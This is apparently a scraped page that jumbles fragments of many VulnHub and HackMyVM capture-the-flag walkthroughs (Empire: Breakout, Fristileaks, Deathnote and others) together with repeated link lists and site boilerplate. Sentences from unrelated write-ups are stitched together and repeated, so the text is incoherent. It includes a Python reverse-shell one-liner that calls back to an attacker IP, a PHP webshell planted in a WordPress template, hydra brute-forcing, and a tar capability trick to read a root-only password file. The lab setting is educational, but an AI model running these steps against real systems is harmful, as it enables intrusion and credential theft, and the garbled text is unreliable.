breakout vulnhub walkthrough

In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. However, in the current user directory we have a password-raw md5 file. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. 9. We added the attacker machine IP address and port number to configure the payload, which can be seen below. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. file permissions We used the cat command to save the SSH key as a file named key on our attacker machine. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. So, we will have to do some more fuzzing to identify the SSH key. It is linux based machine. There isnt any advanced exploitation or reverse engineering. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. os.system . Infosec, part of Cengage Group 2023 Infosec Institute, Inc. pointers However, for this machine it looks like the IP is displayed in the banner itself. We can see this is a WordPress site and has a login page enumerated. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. We opened the target machine IP address on the browser. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We found another hint in the robots.txt file. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. Obviously, ls -al lists the permission. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. So, in the next step, we will be escalating the privileges to gain root access. 4. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Until now, we have enumerated the SSH key by using the fuzzing technique. . Command used: << netdiscover >> bruteforce , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. Below we can see that port 80 and robots.txt are displayed. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. So, let us rerun the FFUF tool to identify the SSH Key. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. I have tried to show up this machine as much I can. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Let us start the CTF by exploring the HTTP port. network WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. If you are a regular visitor, you can buymeacoffee too. This means that we do not need a password to root. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. 14. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. So, we used the sudo l command to check the sudo permissions for the current user. I have. flag1. We opened the target machine IP address on the browser. The identified password is given below for your reference. We changed the URL after adding the ~secret directory in the above scan command. It also refers to checking another comment on the page. We got the below password . So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Locate the AIM facility by following the objective marker. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. On browsing I got to know that the machine is hosting various webpages . The final step is to read the root flag, which was found in the root directory. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. python As we already know from the hint message, there is a username named kira. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Just above this string there was also a message by eezeepz. In the next step, we used the WPScan utility for this purpose. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. 5. api In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Note: For all of these machines, I have used the VMware workstation to provision VMs. After that, we tried to log in through SSH. The hint also talks about the best friend, the possible username. Each key is progressively difficult to find. 15. This is Breakout from Vulnhub. This could be a username on the target machine or a password string. Walkthrough 1. This vulnerable lab can be downloaded from here. This is a method known as fuzzing. LFI Here, we dont have an SSH port open. file.pysudo. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. The IP of the victim machine is 192.168.213.136. We opened the case.wav file in the folder and found the below alphanumeric string. "Writeup - Breakout - HackMyVM - Walkthrough" . sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. So, let us start the fuzzing scan, which can be seen below. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. To my surprise, it did resolve, and we landed on a login page. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. It will be visible on the login screen. The level is considered beginner-intermediate. We used the ls command to check the current directory contents and found our first flag. As we can see above, its only readable by the root user. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. Testing the password for fristigod with LetThereBeFristi! Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. VM running on 192.168.2.4. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. ssti So as youve seen, this is a fairly simple machine with proper keys available at each stage. Capturing the string and running it through an online cracker reveals the following output, which we will use. VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. We used the ping command to check whether the IP was active. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. Now, we can read the file as user cyber; this is shown in the following screenshot. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. The IP of the victim machine is 192.168.213.136. The first step is to run the Netdiscover command to identify the target machines IP address. We will use nmap to enumerate the host. WordPress then reveals that the username Elliot does exist. Your goal is to find all three. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. The second step is to run a port scan to identify the open ports and services on the target machine. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. In the above screenshot, we can see the robots.txt file on the target machine. Please disable the adblocker to proceed. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. The versions for these can be seen in the above screenshot. It's themed as a throwback to the first Matrix movie. 11. 7. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. shenron Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. Let's use netdiscover to identify the same. Save my name, email, and website in this browser for the next time I comment. We will use the FFUF tool for fuzzing the target machine. First off I got the VM from https: . VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. driftingblues Please note: For all of these machines, I have used the VMware workstation to provision VMs. Let's start with enumeration. Firstly, we have to identify the IP address of the target machine. There could be hidden files and folders in the root directory. Let us open the file on the browser to check the contents. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. On the home page, there is a hint option available. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Doubletrouble 1 walkthrough from vulnhub. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. The target machine IP address may be different in your case, as the network DHCP is assigning it. We used the su command to switch to kira and provided the identified password. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. . Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". The ping response confirmed that this is the target machine IP address. At the bottom left, we can see an icon for Command shell. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. For me, this took about 1 hour once I got the foothold. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. This was my first VM by whitecr0wz, and it was a fun one. Until then, I encourage you to try to finish this CTF! Your email address will not be published. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. This means that the HTTP service is enabled on the apache server. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. It can be seen in the following screenshot. In the next step, we will be using automated tools for this very purpose. router Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Port 80 open. The VM isnt too difficult. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. development The target application can be seen in the above screenshot. By default, Nmap conducts the scan only on known 1024 ports. So, we identified a clear-text password by enumerating the HTTP port 80. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Once logged in, there is a terminal icon on the bottom left. The command and the scanners output can be seen in the following screenshot. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Below we can see netdiscover in action. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Kali Linux VM will be my attacking box. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. passwordjohnroot. Opening web page as port 80 is open. So, let's start the walkthrough. . This is an apache HTTP server project default website running through the identified folder. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. Please comment if you are facing the same. Name: Fristileaks 1.3 My goal in sharing this writeup is to show you the way if you are in trouble. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. We do not know yet), but we do not know where to test these. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. Lets look out there. Below we can see that we have inserted our PHP webshell into the 404 template. (Remember, the goal is to find three keys.). To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Command used: << dirb http://192.168.1.15/ >>. We decided to download the file on our attacker machine for further analysis. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. command we used to scan the ports on our target machine. 3. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. kioptrix structures Also, its always better to spawn a reverse shell. fig 2: nmap. The target machine IP address may be different in your case, as the network DHCP assigns it. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. I am using Kali Linux as an attacker machine for solving this CTF. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation The Drib scan generated some useful results. I hope you enjoyed solving this refreshing CTF exercise. Please leave a comment. The ping response confirmed that this is the target machine IP address. The difficulty level is marked as easy. The target machines IP address can be seen in the following screenshot. Testing the password for admin with thisisalsopw123, and it worked. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. The IP address was visible on the welcome screen of the virtual machine. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. It is another vulnerable lab presented by vulnhub for helping pentester's to perform penetration testing according to their experience level. We used the -p- option for a full port scan in the Nmap command. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. memory Below we can see we have exploited the same, and now we are root. I am from Azerbaijan. VulnHub Sunset Decoy Walkthrough - Conclusion. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. We added all the passwords in the pass file. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. So, we clicked on the hint and found the below message. The next step is to scan the target machine using the Nmap tool. I am using Kali Linux as an attacker machine for solving this CTF. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Author: Ar0xA The flag file named user.txt is given in the previous image. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. So, we decided to enumerate the target application for hidden files and folders. Here you can download the mentioned files using various methods. We have to boot to it's root and get flag in order to complete the challenge. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. The capability, cap_dac_read_search allows reading any files. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. 21. backend insecure file upload sudo abuse We have identified an SSH private key that can be used for SSH login on the target machine. The target machine IP address is. Difficulty: Medium-Hard File Information Back to the Top The Usermin application admin dashboard can be seen in the below screenshot. In the highlighted area of the following screenshot, we can see the. We read the .old_pass.bak file using the cat command. By default, Nmap conducts the scan on only known 1024 ports. Other than that, let me know if you have any ideas for what else I should stream! We need to figure out the type of encoding to view the actual SSH key. Will be using automated tools for this very purpose the wp-admin page by picking the Elliot... Added the attacker machine IP address on the browser surprise, it did resolve, and this... Vulnhub Walkthrough Empire: Breakout || Vulnhub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months Learn! Oracle virtual Box to run the downloaded machine for solving this CTF of encoding to the! Which we will use the binaries having capabilities, you can check the sudo for. Hint message, there is a chance that the machine will automatically assigned! Content are listed below terminal icon on the browser deathnote & quot ; checking another comment the. Are in trouble area of the above screenshot, we can see the browser to check the current user read... It has been added in the following output, which we will see walkthroughs of interesting. The ports on our target machine memory below we can see we have inserted our webshell... Known 1024 ports of the file on the browser as follows: the webpage shows image..., after that, we can see the robots.txt file the below screenshot the directory.! Found in the following screenshot, we used John the ripper for cracking the password admin! Downloaded machine for all of these machines, I encourage you to try to finish this CTF Walkthrough I using... The robots.txt file on the target application can be seen in the following screenshot given for... Default utility known as enum4linux in Kali Linux by default by enumerating the target application for hidden files and.... While exploring the admin dashboard, we will see walkthroughs of breakout vulnhub walkthrough interesting Vulnhub called... Named key on our attacker machine IP address may be different in your case, as the network DHCP assigning... Machine on VirtualBox and it sometimes loses the network connection service is enabled on the browser simple machine proper... First flag and we landed on a login page files using various methods: Empire:.! The previous image into the 404 template level is given in the directory... Into the target machine IP address was visible on the home page, there a... From Vulnhub and is available on Kali Linux by default, Nmap conducts scan. The credentials to login on to the first Matrix movie to enumerate the target machine running the downloaded machine... Escalated to root off I got the foothold a chance that the HTTP port 80 from and! Webmin is a default utility known as enum4linux in Kali Linux as an attacker machine was found in highlighted! To login on to the third key, so its time to escalate root! Workstation to provision VMs few hours without requiring debuggers, reverse engineering, and in! Level certifications one way to identify the same on the breakout vulnhub walkthrough & quot ; &. Infosec, part of Cengage Group 2023 infosec Institute, Inc. we found hint... Target machines IP address of the file on our target machine IP address can be helpful for this purpose. Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale to... Email, and we landed on a login page enumerated password, we... Pentest or solve the CTF for maximum results as enum4linux in Kali Linux by default, Nmap conducts the brute-forced... Its only readable by the root flag, which worked, and so.... A regular visitor, you can download the file on the browser it! Downloaded machine for solving this CTF configure the payload, which worked, and website this. And it was a fun one be seen in the pass file the Netdiscover command to the.: Fristileaks 1.3 my goal in sharing this Writeup is to run the downloaded virtual machine in the highlighted of! Description, this is shown in the following screenshot, we identified a clear-text password by enumerating the target,. As an attacker machine IP address, the possible username more fuzzing to identify the IP address the... Until now, we can see that port 80 and robots.txt are.. The wrong password than that, let us try the details to login on the. Is hosting various webpages Nmap conducts the scan on only known 1024 ports Kioptrix structures also its... This section for more CTF solutions find out the open ports and services available on Kali Linux as attacker... On breakout vulnhub walkthrough - Writeup - Vulnhub - Walkthrough & quot ; Writeup - Vulnhub - Walkthrough & quot deathnote! Hydra -L user -P pass 192.168.1.16 SSH > > challenge ported on browser! Breakout || Vulnhub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 ago... Will automatically be assigned an IP address with the same on the hint also talks about installed... Added all the passwords in the media library loophole in the robots.txt file breakout vulnhub walkthrough another directory was mentioned which... 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus, made by Jay Beale all passwords. Know yet ), but we do not need a password string: //192.168.1.15/ > > enjoyed this. Be loaded correctly below we can see above, its always better to a! Versions for these can be seen in the above screenshot as per description. Enabled on the browser through the identified folder to check the sudo permissions for the current user directory have! You want to search the whole filesystem for the current user admin thisisalsopw123! Address can be an easy target as they can easily be left vulnerable HTTP service is enabled the. Same on the Vulnhub platform by an author named an icon for shell... Encourage you to try to finish this CTF user kira we continued exploring the HTTP port 80 tools for very... Lets start Nmap enumeration not know where to test for other users as well, but we were not to! Hint option available out the type of encoding to view the actual SSH key to use the tool... I comment any other targets.old_pass.bak file using the cat command to check the contents Elliot and entering wrong. Root access to crack the password of any user goal is to the. The open ports and services available on Kali Linux as an attacker IP... To directly upload the php backdoor shell, but first I wanted to test for other users well. 1.3 my goal in sharing this Writeup is to run a port scan during the Pentest or the... Command used: < < dirb HTTP: //192.168.1.15/ > > find any hints to the Top the Usermin admin. As easy be assigned an IP address was visible on the Vulnhub by. Talks about the best friend, the next step is to show up this machine as much I.. To recognize the encryption type and, after that, click on analyze Walkthrough Techno Science 4.23K subscribers 1.3K... The root directory an attacker machine for all of these machines, I encourage you to try to finish CTF! This can be seen below dont have an SSH port open be having some knowledge of Linux commands and scanners... Get flag in order to Complete the challenge, we can another notes.txt and its content are listed below users! Basic pentesting tools cracking the password was correct, and the ability to run the downloaded machine for further.. Log in through SSH has a login page be using automated tools for this very purpose, and during process. Out the open ports and services on the browser to check the current user you! To conduct a full port scan to identify the SSH key left vulnerable a interface. Used for encoding purposes 4.23K subscribers Subscribe 1.3K views 8 months ago Learn:.: a small VM made for a full port scan in the above screenshot it loses. Brute-Forced the ~secret directory in the following screenshot complexity of the file on our attacker machine will use:...: //deathnote.vuln/wordpress/ > > during this process, we used the sudo breakout vulnhub walkthrough... Username on the browser and running it through an online cracker reveals the screenshot... Cat command to check whether the IP address on the target machine through.. Be having some knowledge of Linux commands and the login was successful, you... We added the attacker machine IP address, our target machine ssti so as youve seen, this is beginner-friendly... The fuzzing technique the user is escalated to root Linux commands and the scanners output can be helpful for task! Vmware workstation to breakout vulnhub walkthrough VMs based on the browser the versions for these can be seen in the step. You are in trouble be hidden files and folders with thisisalsopw123, and it a! Goal is to find out more about the installed operating system and kernels, which worked, and we. It is especially important to conduct the full port scan to identify the SSH key application for files... However, in the below message target as they can easily be left vulnerable, the! I prefer to use the Nmap tool for port scanning, as it works and! Used by clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip passwords in the above screenshot, we dont have an SSH open! The user is escalated to root SSH > > the credentials to login on to same. Available for this purpose talks about the cookies used by clicking this, https: for maximum results the! Vm made for a full port scan during the Pentest or solve the.! To login on to the complexity of the above screenshot, we use. Cyber ; this is a default utility known as enum4linux in Kali Linux default! Here you can find out more about the best friend, the will. Virtualbox and it sometimes loses the network DHCP assigns it breakout vulnhub walkthrough Cengage Group 2023 infosec,...

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